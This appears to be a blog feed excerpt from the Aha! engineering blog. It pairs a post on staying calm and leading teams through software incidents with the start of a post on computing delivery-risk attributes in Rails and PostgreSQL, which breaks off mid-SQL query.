&lt;p&gt;Managing your own emotional state is a job that has only one qualified candidate, and the physiological systems entrusted to you do not have backups. The most stressful moments as engineers are times when the software has gone all wrong, and it is most critical in those scenarios that we keep our own wetware running. That is the primary topic of this post. But none of us live in a vacuum. We all function as part of a larger team, so we will also present pointers on this for leaders and managers to consider. With all of this in mind, let&apos;s dive in.&lt;/p&gt;
&lt;h2&gt;Three goals for managing incidents&lt;/h2&gt;
&lt;p&gt;In true Aha! style, we want to be &lt;a href=&quot;https://www.aha.io/company/the-responsive-method&quot;&gt;goal-first&lt;/a&gt;. Our three goals for incident management are to coordinate and control a response, to regain normalcy, and to do so sustainably.&lt;/p&gt;
&lt;h3&gt;Goal 1: Coordinate and control the response&lt;/h3&gt;
&lt;p&gt;The first goal is to &lt;strong&gt;coordinate and control the response to an extraordinary, dangerous, and stressful situation&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Of course, we must assess a situation&apos;s severity to understand how to manage it and who should be involved. Situations that are not extraordinary are routine, and they might be dangerous and stressful — but they hopefully occur often enough that operators are trained to handle them safely. These nondangerous situations are low-stakes; failure would simply mean trying again later or absorbing the cost of that failure easily. Scenarios that are not particularly stressful simply do not exert enough force per engineer to warrant a special procedure, even if they are extraordinary and high-risk. (This might happen if your operations team is especially skilled.) On the other hand, critical situations often have severe, legal, and even existential risks for a business that cannot resolve their conditions.&lt;/p&gt;
&lt;p&gt;Extraordinary, dangerous, and stressful situations (hereafter, I will refer to these as &quot;incidents&quot;) are often unmanaged during a company or team&apos;s early stages. There are simply not enough people dedicated to operations. Likewise, there are not enough lessons to draw from to build an effective body of institutional knowledge that will become a management framework.&lt;/p&gt;
&lt;p&gt;You will know when it is time to adopt a management framework, and that is after your first unmanaged incident. But if your company is past the early startup stages and is in the process of scaling up, you would do well to adopt a framework early on regardless. Chapter 14 of Google&apos;s &lt;a href=&quot;https://sre.google/sre-book/managing-incidents/&quot;&gt;book on site reliability engineering&lt;/a&gt; outlines a pretty good framework. If you haven&apos;t read it yet, stop reading this article until you have.&lt;/p&gt;
&lt;h3&gt;Goal 2: Regain normalcy&lt;/h3&gt;
&lt;p&gt;The second goal is to regain normalcy by &lt;strong&gt;trading big problems for smaller ones&lt;/strong&gt;. This is a topic for another post in the series, but I will touch on it here.&lt;/p&gt;
&lt;p&gt;Your mindset when resolving incidents will be radically different than when you are doing other types of engineering. You have to think rationally and methodically about what the root cause of the incident could be, prove that theory, and then create a permanent solution. But you must also adopt mitigating strategies that restore service partially, keep the problem from getting worse, or even communicate effectively about the issue.&lt;/p&gt;
&lt;p&gt;In addition to thinking like a detective attempting to identify the &quot;culprit,&quot; you also have to think like an EMT whose primary concern is getting the patient to the hospital with a pulse. Tourniquets serve a purpose — even if they endanger the limb on which they are placed, their use is sometimes necessary to save the patient&apos;s life. Similarly, tools at our disposal such as rate limiting, temporary captchas, or even choosing to bring the site down trade a big problem (like security vulnerability or flooded servers) in for smaller problems (like bad UX or poor performance).&lt;/p&gt;
&lt;h3&gt;Goal 3: Do so sustainably&lt;/h3&gt;
&lt;p&gt;The third goal is to &lt;strong&gt;do so without burning out your operations team&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Institutional knowledge is expensive. Hiring is difficult, and retaining good engineers is doubly so. Even if it wasn&apos;t a moral imperative that managers should look out for the good of their employees, it simply makes good business sense to protect your team&apos;s morale and mental health. Most people talk about burnout in the context of large workloads. Although this can be true, I believe the far more dangerous cause of burnout is a lack of control. If a person&apos;s sense of agency is removed when they walk into work, they will choose to preserve it by making the one choice available to them: walking out. A constant stream of incidents constrains the freedom of operations team members — they cannot work on solving new or interesting problems because they are constantly fighting for survival. Similarly, a lack of psychological safety in an organization&apos;s culture might mean that they have to weather constant blame and criticism.&lt;/p&gt;
&lt;h2&gt;What engineers can do to operate effectively&lt;/h2&gt;
&lt;h3&gt;Breathe&lt;/h3&gt;
&lt;p&gt;The Latin word &quot;spiritus&quot; is at the root of both &quot;spirit&quot; and &quot;respiration.&quot; In other words, breath is life. Deep breathing &lt;a href=&quot;https://www.scientificamerican.com/article/proper-breathing-brings-better-health/&quot;&gt;activates&lt;/a&gt; your parasympathetic nervous system, which takes you out of &quot;fight, flight, or freeze&quot; mode. Operating out of a lower-brain panic and preparing for a fight is a wonderful mode to engage when threatened by a lion. It is marginally less useful when you have to inspect transmission control protocol traffic or help a failing database recover. For these sophisticated tasks, you require your full brain — and the best way to marshal all of your neurons is to take a few seconds to breathe.&lt;/p&gt;
&lt;p&gt;No incident is going to spiral out of control due to six seconds of inaction, but many can be made worse by a decision made in haste. You owe it to yourself (and to your company) to compose yourself and think carefully before deciding on an intervention. As often as necessary, close your eyes, take a long two-second inhale, hold it for two seconds, and exhale for a long two seconds.&lt;/p&gt;
&lt;h3&gt;Be&lt;/h3&gt;
&lt;p&gt;Dialectical behavior therapy (DBT) is a type of talk therapy for people who experience strong emotions. And as mentioned earlier, incidents bring intense feelings. A core DBT skill is &lt;a href=&quot;https://my.clevelandclinic.org/health/treatments/22838-dialectical-behavior-therapy-dbt&quot;&gt;mindfulness&lt;/a&gt;: being fully rooted in the present moment without worrying about the past or the future.&lt;/p&gt;
&lt;p&gt;This might sound too tangential for a blog post about managing an engineering incident. But if we are honest, many of our thoughts in the midst of a crisis are worries about the past: &quot;Did I do something to cause this?&quot; &quot;Is there something I could have done differently?&quot; &quot;Did I miss an alert?&quot; Likewise, our thoughts might also be worries about the future: &quot;Am I going to get in trouble for this?&quot; &quot;Is this going to kill the company?&quot; &quot;Am I going to make it home for my kid&apos;s game?&quot;&lt;/p&gt;
&lt;p&gt;Applying the skill of mindfulness helps us be present in the here and now — so we can solve the problem at hand and root ourselves in what we can actually control. To practice it, try making three statements about things that you see, hear, feel, or smell. Then, make one clear statement about the problem at hand. For example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;My coffee is cold.&lt;/li&gt;
&lt;li&gt;I am hungry.&lt;/li&gt;
&lt;li&gt;There is a cardinal outside of my window.&lt;/li&gt;
&lt;li&gt;The database is receiving too many connections.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This short exercise is based on the &lt;a href=&quot;https://www.urmc.rochester.edu/behavioral-health-partners/bhp-blog/april-2018/5-4-3-2-1-coping-technique-for-anxiety.aspx&quot;&gt;5-4-3-2-1 method&lt;/a&gt; for calming anxiety. It works by rooting you in the problem at hand and pushing away irrelevant and unhelpful worries about what led to this present situation or the potential aftermath (which is a smaller problem for tomorrow).&lt;/p&gt;
&lt;h3&gt;Believe&lt;/h3&gt;
&lt;p&gt;How you view the world will greatly affect your actions within it. If you believe (and many do, whether or not they might admit to it) that good things happen to good people, bad things happen to bad people, and that the goal of life is to be happy, then an incident is not a technical problem. It becomes an existential crisis — because this is a bad thing happening to us (which means we are bad), and it is blocking our life goal.&lt;/p&gt;
&lt;p&gt;Author Timothy Keller puts it like this in &lt;em&gt;Walking With God Through Pain and Suffering:&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;If you accept [this sort of worldview] … then that which gives your life purpose would have to be some material good or this-world condition — some kind of comfort, safety, and pleasure. But suffering inevitably blocks achievement of these kinds of life goods. Suffering either destroys them or puts them in deep jeopardy. As Dr. Paul Brand argues in the last chapter of his book &lt;em&gt;The Gift of Pain&lt;/em&gt;, it is because the meaning of life in the United States is the pursuit of pleasure and personal freedom that suffering is so traumatic for Americans.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If your worldview has no room for chance accidents, for malevolent actors attempting to extort hardworking people, or for human mistakes and frailty, then you have no business being an engineer. Our profession exists to carve out an ordered space where humans can flourish in an otherwise chaotic world. Roads, bridges, ships, taxes, and even software form the framework of human flourishing. And that framework suffers from entropy, like everything else in our universe.&lt;/p&gt;
&lt;p&gt;I am not suggesting that every engineer has to join a seminary, practice meditation, or read up on humanist literature (though our field would be better for it!). What I am suggesting is that as a first responder to technical problems, we have to understand that these problems are a normal, expected part of life. Hard drives fail, code is written in error, and bad actors will use SQL injection and ransomware just as earlier generations of miscreants used clubs and rocks. Standing against the forces of entropy, chaos, and yes — even evil — is what we are paid to do. Incidents, then, are not primarily interruptions of our status quo. They are the highest and noblest moments of our profession.&lt;/p&gt;
&lt;h2&gt;What managers must do for their teams&lt;/h2&gt;
&lt;p&gt;There are things you must do as a leader beyond the obvious. Watching for burnout, encouraging employees to take PTO when required, and ensuring the engineering team has the resources (time, money, or hardware) necessary to solve problems are the minimum responsibilities expected from a manager. To create a truly hardy organization that can engineer a highly resilient system, good leadership is required.&lt;/p&gt;
&lt;h3&gt;Create compassionate accountability&lt;/h3&gt;
&lt;p&gt;Much has been said about creating cultures of blameless retrospectives. However, our nature is that when we know a mistake has been made, we quietly look at the person who made the mistake. Or perhaps even worse, we pointedly avoid eye contact. It is the leader&apos;s job to provide the needed accountability — and we as leaders are the ones accountable.&lt;/p&gt;
&lt;p&gt;Gene Kranz, flight director for the Apollo 11 mission, &lt;a href=&quot;https://www.pcma.org/gene-kranz-nasa-legend-leadership-convening-leaders/&quot;&gt;said&lt;/a&gt;: &quot;[My] job as flight director is to take the actions necessary for crew safety and mission success … [In my] line of work there is neither ambiguity or a higher authority. It is go, or no go. And I am accountable for the mission.&quot;&lt;/p&gt;
&lt;p&gt;And Jocko Willink recounted a particularly relevant conversation between him and a junior officer in the Navy SEALs in &lt;em&gt;The Dichotomy of Leadership&lt;/em&gt;: &quot;We are responsible ... It was our strategy. We came up with it. We knew the risks. You planned the missions. I approved them. We were the leaders. And we are responsible for everything that happened during that deployment. Everything. That&apos;s the way it is. We can&apos;t escape that. That is what being a leader is.&quot;&lt;/p&gt;
&lt;p&gt;During the after-action analysis, you should be the first to admit where decisions you made in the past contributed to an issue and what you personally could have done differently. You also should not expect your team members to similarly out themselves. If necessary, provide compassionate 1:1 coaching to team members who could have done a better job. But while you&apos;re together as a team, your job is to build the team.&lt;/p&gt;
&lt;h3&gt;Build a team&lt;/h3&gt;
&lt;p&gt;After they&apos;ve shipped their first bug, I tell every new hire on my team some variation of the following: &quot;You wrote that code. But someone else reviewed it, and I ultimately deployed it. And you followed all of our style guides and existing documentation when you did it. We are a team, and we are going to handle this as a team.&quot;&lt;/p&gt;
&lt;p&gt;Leaders should already be well-read on building good, high-performing teams, but a reread of Patrick Lencioni&apos;s &lt;em&gt;The Five Dysfunctions of a Team&lt;/em&gt; is never a bad idea. Lencioni highlights the importance of trust, productive debate, and commitment — and those attributes, when built into a team, pay off during an incident.&lt;/p&gt;
&lt;p&gt;On a good team, we can trust our engineers&apos; judgment. They are not afraid to put up a hand and stop someone else from making a mistake, and they are committed to the success of the mission. Those are attributes that have to be built into the team months before the metaphorical pager goes off. They grow at every daily standup and sprint planning meeting.&lt;/p&gt;
&lt;p&gt;If you&apos;ve done it right, you will know when your team is able to handle even a relatively severe incident without your help. If you&apos;ve done it wrong, a minor incident will reveal the cracks in your organization. Take the opportunity to learn and shore up your foundation when these small fractures form; they will only worsen with time.&lt;/p&gt;
&lt;h3&gt;Give control to your engineers&lt;/h3&gt;
&lt;p&gt;Just because leaders are ultimately accountable for the team&apos;s success does not mean that they need to micromanage everything that happens in the organization. Engineers with a sense of ownership over the system will see the weak points before they become fractures. And those with a sense of empowerment will either fix the problem themselves or advocate for a feature to be put on the board and prioritized to solve the problem early.&lt;/p&gt;
&lt;p&gt;Your job as a leader is to foster this creativity, ownership, and empowerment as much as possible — all while reining in ideas that are likely to result in failure down the line.&lt;/p&gt;
&lt;p&gt;This approach might result in mistakes being made. But if your plan as a manager is to have a &quot;mistakeless&quot; organization, you are guaranteed to fail. We want to build a resilient organization instead, and one of the ways to do that is to empower our team to execute on clear objectives.&lt;/p&gt;
&lt;h2&gt;Putting it all together&lt;/h2&gt;
&lt;p&gt;I believe teams that function with high degrees of collaboration, delegated control, and compassionate accountability can solve most problems. When those attributes are also present in a &lt;a href=&quot;https://www.aha.io/company/team?utm_source=google&amp;#x26;utm_medium=cpc&amp;#x26;utm_campaign=dsa+-+all+-+primary+locations+-+all&amp;#x26;utm_content=all+webpages&amp;#x26;utm_term=&amp;#x26;matchtype=&amp;#x26;device=c&amp;#x26;devicemodel=&amp;#x26;gad_source=1&amp;#x26;gclid=CjwKCAjwr7ayBhAPEiwA6EIGxEl0_14azoZUdY_TxKRcSh0g6hcqpm5Tmakoy7PA0CjUJ8qzpc8CWBoC70kQAvD_BwE&quot;&gt;team&lt;/a&gt; made up of mindful, spirited, and hardworking engineers, they can solve nearly any problem put before them.&lt;/p&gt;
&lt;p&gt;The technical problems we must overcome are far less daunting than creating an organization capable of solving them without imploding. In later articles in this series, we&apos;ll look into creating effective communication channels as well as how to adopt an appropriate &quot;triage&quot; mindset when navigating problems. Regardless, creating this level of psychological safety in your team is sure to pay off — even if the &quot;pager&quot; never goes off.&lt;/p&gt;
&lt;p&gt;And before we conclude, I&apos;d be remiss not to come back to the incident referenced in the beginning. It was detected in fewer than five minutes (thanks to a great communications structure), was tied to a root cause in another three minutes (thanks to an engineer who built a very impressive operations dashboard), and was mitigated in another five minutes (thanks to a different engineer who integrated and specified the necessary procedures into our runbook). It was a stressful day, but I couldn&apos;t have been more proud of the team that made solving a scary problem fairly trivial.&lt;/p&gt;
&lt;p&gt;I&apos;m grateful that because of the hard work of our team, we don&apos;t have too many days like that. &lt;strong&gt;If you&apos;d like to be part of a high-performance, high-empathy team, we&apos;d love it if you &lt;a href=&quot;https://www.aha.io/company/careers&quot;&gt;joined us&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Using calculated attributes to help users surface delivery risks]]></title><description><![CDATA[Feature delivery can be impacted by many factors. Some are readily visible, but others are more nuanced — or buried in mountains of data…]]></description><link>https://www.aha.io/engineering/articles/virtual-attributes</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/virtual-attributes</guid><dc:creator><![CDATA[Michael Shiel]]></dc:creator><pubDate>Mon, 08 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;style&gt;
  img {
    max-height: 400px;
    margin-right: auto;
    margin-left: auto;
  }

  table, th, td {
    font-family: Red Hat Display, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif;
    border: 1px solid var(--aha-gray-400);
  }

  th {
    background-color: var(--aha-gray-100);
    color: var(--aha-gray-900);
    text-align: left;
  }

  td img {
    margin: 0.5em auto !important;
  }
&lt;/style&gt;
&lt;p&gt;Feature delivery can be impacted by many factors. Some are readily visible, but others are more nuanced — or buried in mountains of data.&lt;/p&gt;
&lt;p&gt;What if we could show developers and project managers the factors that would affect feature delivery in real time? And what if that information were part of the record itself? (So anyone looking at or running a report could see what to keep in mind to ensure the team&apos;s delivery stays on track.)&lt;/p&gt;
&lt;h2&gt;What are delivery risks?&lt;/h2&gt;
&lt;p&gt;We refer to these individual risk factors as &lt;a href=&quot;https://www.aha.io/blog/a-better-way-to-manage-delivery-risks&quot;&gt;delivery risks&lt;/a&gt; in &lt;a href=&quot;https://www.aha.io/suite-overview&quot;&gt;Aha! software&lt;/a&gt;. During the design phase of this feature, we built up a list of the factors we felt were most important to ensuring reliable delivery. These were based on customer feedback as well as our own internal experience.&lt;/p&gt;
&lt;p&gt;Some of the delivery risks we identified were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Not having a team assigned to a work item&lt;/li&gt;
&lt;li&gt;Dependencies not being started, and at least one linked record not having an &lt;strong&gt;In progress&lt;/strong&gt; workflow status&lt;/li&gt;
&lt;li&gt;Workflow status not changing for a specific number of days&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Additionally, you can customize which delivery risks are enabled on a per-workspace level as well as fine-tune some of the values used in calculating whether or not the risk is active (e.g., how many days is &quot;late&quot; to my team?).&lt;/p&gt;
&lt;h2&gt;Deciding on an approach&lt;/h2&gt;
&lt;p&gt;With our risks defined, we needed to figure out an approach for surfacing them to the user in a real-time and efficient manner. We knew we wanted to have delivery risks visible in our record drawers for visibility. We also wanted them to be in reports, which could mean large amounts of data and computation for the more complex risk factors.&lt;/p&gt;
&lt;h3&gt;Data representation&lt;/h3&gt;
&lt;p&gt;Let&apos;s start with a simple delivery risk: &lt;strong&gt;No team&lt;/strong&gt; assigned. The data required to make the decision about whether this risk factor is active or not lives with the record itself, so it&apos;s &quot;free&quot; to load and wouldn&apos;t need to be stored. Luckily for us, a majority of the delivery risks we identified fall into this category. They are trivial to implement and virtually free to load or calculate.&lt;/p&gt;
&lt;h4&gt;Complex risk factors&lt;/h4&gt;
&lt;p&gt;For a more complex risk factor, let&apos;s take a look at the &lt;strong&gt;Work stalled&lt;/strong&gt; delivery risk. Here, we&apos;re concerned with a fixed relationship structure within Aha! as well as in epics, features, and requirements. Epics have features, and features have requirements. We define the work as stalled when:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The record&apos;s own workflow status hasn&apos;t changed in N days (unless it has child records in progress, in which case ... )&lt;/li&gt;
&lt;li&gt;Any of its child records that are in progress have workflow statuses that haven&apos;t changed in a specific number of days&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These bubble up to their parent records. For example, an epic might be stalled because it has a feature that has a requirement whose status hasn&apos;t changed recently.&lt;/p&gt;
&lt;h3&gt;The bottom-up approach&lt;/h3&gt;
&lt;p&gt;The approach that first sprung to mind was attempting to do the calculations at the point or event where the data changes. We could check for any parent records whenever our status changes and do the necessary work at that point in time. That could work for some of our risk factor definitions. But the catch we saw with &lt;strong&gt;Work stalled&lt;/strong&gt; was that being time-based, it can become a risk without any changes in the underlying data.&lt;/p&gt;
&lt;p&gt;One way we thought about solving this was by having some job scheduled to run on a periodic frequency, let&apos;s say overnight or hourly. The downside to that is you&apos;re compromising to some degree on the real-time aspect. I have to wait for this job to run to see the risk — that&apos;s not something I want to think about as a user. We&apos;d also be concentrating a large amount of work at one point in time (for every record, check all of its children&apos;s statuses, and so on). And that&apos;s just for this one risk factor.&lt;/p&gt;
&lt;h3&gt;The top-down approach&lt;/h3&gt;
&lt;p&gt;What if we instead flipped the problem on its head, taking the perspective of looking &quot;down&quot; from the place where we want to see the output of the risk factor? That leads us to calculating each risk factor every time the record loads or the report runs. This definitely gives us the real-time responsiveness we&apos;re looking for — but does come with some valid performance concerns.&lt;/p&gt;
&lt;h2&gt;Generated columns and triggers&lt;/h2&gt;
&lt;p&gt;We use PostgreSQL as our database, and it comes with an amazing feature that allows you to define &lt;a href=&quot;https://www.postgresql.org/docs/current/ddl-generated-columns.html&quot;&gt;generated columns&lt;/a&gt;. Unfortunately for us, there was a catch here: Some of the delivery risks we wanted to define have dependencies on other records (e.g., other tables), and a generated column can only refer to the current row.&lt;/p&gt;
&lt;p&gt;Another database-centric approach could be to leverage triggers to recalculate a given risk factor whenever the record changes. However, this solution does not allow recalculating based purely on time and without some kind of scheduled job.&lt;/p&gt;
&lt;h3&gt;Equations&lt;/h3&gt;
&lt;p&gt;Aha! already has a framework for calculating fields from equations and other data in our reporting system. This was a promising avenue at first: The system automatically tracks dependent records based on the formula used and only updates when they change. Unfortunately, we also ended up ruling out this approach — the equation system has no concept of variables outside of the data itself, such as the current date or time. Because this system is driven purely by changes within other fields, having updates based on time would mean introducing some kind of scheduling component to run on arbitrary granularity. This would add additional complexity and computational overhead.&lt;/p&gt;
&lt;h3&gt;Our solution: Virtual attributes&lt;/h3&gt;
&lt;p&gt;Aha! has a &lt;code&gt;calculated_attributes&lt;/code&gt; &lt;a href=&quot;https://github.com/aha-app/calculated_attributes&quot;&gt;gem&lt;/a&gt; that we wrote and open-sourced to solve similar issues. And as a bonus, we already have it in place on many of our models. It works by patching ActiveRecord to include custom SQL statements as part of the normal model query process. By using the &lt;code&gt;calculated(:calculated, :fields, :here)&lt;/code&gt; method on a relation, the fields would automatically be executed and added into the model data when it was loaded.&lt;/p&gt;
&lt;p&gt;Prior to this work, we were mostly using it for counts or relatively simple calculations. But because it&apos;s driven by plain old SQL statements, there was no reason we couldn&apos;t use it to execute more complex queries.&lt;/p&gt;
&lt;p&gt;Some quick prototyping on the simpler fields showed promising results right away:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;calculated &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:no_team&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { arel_table[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:team_id&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;].eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;nil&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;calculated ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; risk_factors&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  slice(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:no_team&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, ...)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This would allow us to write arbitrary SQL to define all of the desired delivery risks.&lt;/p&gt;
&lt;h4&gt;Query complexity and performance&lt;/h4&gt;
&lt;p&gt;Calculating all of these fields every time the record loads would inherently make those queries more complex, so we set out to establish a baseline and see just how much more complex they would get. The queries below are simplified and only include risk factors related to a lack of assignee and scheduling.&lt;/p&gt;
&lt;p&gt;Here is loading one feature without risks:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;features&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;features&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;LIMIT&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And here is loading one feature, including the two risk factors mentioned above:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;SELECT&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;features&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, ...,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    &quot;rf_features_prc&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;no_assignee&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; TRUE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    AND&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;features&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;assigned_to_user_id&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; IS&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; NULL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    AND&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      SELECT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        TRUE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      FROM&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        workflow_statuses ws&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      WHERE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;        ws&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; features&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;workflow_status_id&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;        AND&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; coalesce&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ws&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;internal_meaning&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 20&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  ) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;AS&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; no_assignee,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;    &quot;rf_features_prc&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;not_scheduled&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; TRUE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    AND&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;features&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;start_date&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; IS&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; NULL&lt;/span&gt;&lt;/span&gt;
